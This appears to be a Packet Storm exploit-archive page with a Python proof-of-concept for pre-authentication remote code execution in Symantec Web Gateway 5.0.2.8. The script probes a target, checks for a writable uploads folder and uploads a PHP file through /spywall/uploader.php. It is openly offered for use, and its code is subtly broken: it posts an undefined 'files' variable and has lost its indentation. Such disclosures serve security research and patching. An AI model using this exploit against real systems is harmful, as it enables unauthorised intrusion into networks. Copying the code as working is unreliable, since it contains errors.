what you don't know can hurt you

Symantec Web Gateway 5.0.2.8 Remote Code Execution

Symantec Web Gateway 5.0.2.8 Remote Code Execution
Posted Apr 9, 2020
Authored by Cody Sixteen

Symantec Web Gateway version 5.0.2.8 pre-authentication remote code execution exploit.

tags | exploit, remote, web, code execution
MD5 | 4626e1e8d0204fec4863f5b78c64b0a5

Symantec Web Gateway 5.0.2.8 Remote Code Execution

Change Mirror Download
# Title: Preauth RCE in Symantec Web Gateway 5.0.2.8
# Date: 26.03.2020
# Vendor: www.symantec.com
# Vulnerable software: www.symantec.com
# Repo: https://github.com/c610/free/



#!/usr/bin/env python
# seemantech.py - small preauth poc for symantec web gateway
# 27.03.2020 by code610
#
# more : https://twitter.com/CodySixteen
# https://code610.blogspot.com
#
# to use this bug:
# - uploads folder must exists on remote host
# - and it must be writable
#
# have fun
#
import sys, re
import requests

target = sys.argv[1]

def main():
print 'symantec web gateway preauth rce poc'
print ' seemantech.py - vs - %s' % ( target )
print ''

baseUrl = target
uploadUrl = target + '/uploads/'

checkBase = requests.get(target,verify=False)
check_status = checkBase.status_code

if check_status == 200:
print '[+] target alive, checking uploads'

checkUpload = requests.get(uploadUrl, verify=False)
isthereupload = checkUpload.status_code

if isthereupload == 200:
print '[+] uploads exists! continuing...'

uploader = target + '/spywall/uploader.php'
upshell = open('sh.php','w')
upshell.write('<?php phpinfo();')
upshell.close()
up_data = {
'file':open('sh.php','rb')
}

upme = requests.post(uploader, files=files, verify=False)
upresp = upme.text
print upresp

# run me:
if __name__ == '__main__':
main()
Login or Register to add favorites

File Archive:

September 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    20 Files
  • 2
    Sep 2nd
    15 Files
  • 3
    Sep 3rd
    15 Files
  • 4
    Sep 4th
    4 Files
  • 5
    Sep 5th
    1 Files
  • 6
    Sep 6th
    1 Files
  • 7
    Sep 7th
    15 Files
  • 8
    Sep 8th
    27 Files
  • 9
    Sep 9th
    7 Files
  • 10
    Sep 10th
    16 Files
  • 11
    Sep 11th
    9 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    25 Files
  • 15
    Sep 15th
    15 Files
  • 16
    Sep 16th
    15 Files
  • 17
    Sep 17th
    15 Files
  • 18
    Sep 18th
    12 Files
  • 19
    Sep 19th
    1 Files
  • 20
    Sep 20th
    1 Files
  • 21
    Sep 21st
    15 Files
  • 22
    Sep 22nd
    21 Files
  • 23
    Sep 23rd
    8 Files
  • 24
    Sep 24th
    15 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close